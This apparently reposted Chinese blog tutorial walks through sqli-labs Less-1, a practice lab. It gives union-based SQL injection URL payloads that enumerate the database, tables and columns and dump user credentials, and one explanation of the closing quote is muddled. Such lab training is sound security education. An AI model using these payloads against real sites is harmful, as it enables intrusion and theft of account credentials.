前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqli-labs练习(第一关)——字符型

sqli-labs练习(第一关)——字符型

作者头像
宸寰客
发布2020-07-20 09:49:41
5670
发布2020-07-20 09:49:41
举报
文章被收录于专栏:yuancao博客

首先,进入靶场

在这里插入图片描述
在这里插入图片描述

1、判断是数字型还是字符型

在url后面分别添加?id=1, ?id=2, ?id=2-1 ,观察页面的变化,判断是字符型还是数字型。 (如果id=2-1 与 id=1的页面一样,就是数字型;如果id=2-1与id=2的页面一样,就是字符型)

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现它是字符型。

2、通过报错判断闭合符

在id=2后面分别加上' , " 即单引号,双引号

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=1%27
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现加'时报错了,而加"是正常显示,说明闭合符是"。所以我们应该使用',不能让它闭合了

3、确认查询的字段数量

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=1%27%20order%20by%203%20--+

在后面分别添加order by 1 --+order by 2 --+order by 3 --+……order by n --+,观察是否报错

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

我们发现在by 3的时候还是正常的,而by 4的时候就没了,说明要查询的字段数量是3个。

4、确认占位信息

…… union select 1,2,3 --+

把id的值换成-1,不让它显示正常的值,然后在后面加上union select 1,2,3 --+。查看字段的占位信息。

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,3%20--+
在这里插入图片描述
在这里插入图片描述

1的位置是dhakkan,固定的,只能在2,3下手。

5、找库名

…… union select 1,2,database() --+,把3换成database(),即在输出3的地方输出数据库名。

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,database()%20--+
在这里插入图片描述
在这里插入图片描述

发现数据库名字是security

6、查表名

…… union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
在这里插入图片描述
在这里插入图片描述

group_concat()是把要输出的内容都放在一个分组里输出,如果不加的话,就只会输出第一个表名。如下:

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
在这里插入图片描述
在这里插入图片描述

7、找表字段

至于找哪个表里的内容,当然是users表

…… union select 1,2,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'--+

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.COLUMNs%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
在这里插入图片描述
在这里插入图片描述

users表里有id,username,password三个字段。

8、找用户名和密码

代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(concat_ws(%27,%27,username,password)%20SEPARATOR%20%27|%27)%20from%20users%20--+

账号密码就出来了 不同用户以|分割,账号密码以,隔开

在这里插入图片描述
在这里插入图片描述
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/07/17 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、判断是数字型还是字符型
  • 2、通过报错判断闭合符
  • 3、确认查询的字段数量
  • 4、确认占位信息
  • 5、找库名
  • 6、查表名
  • 7、找表字段
  • 8、找用户名和密码
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档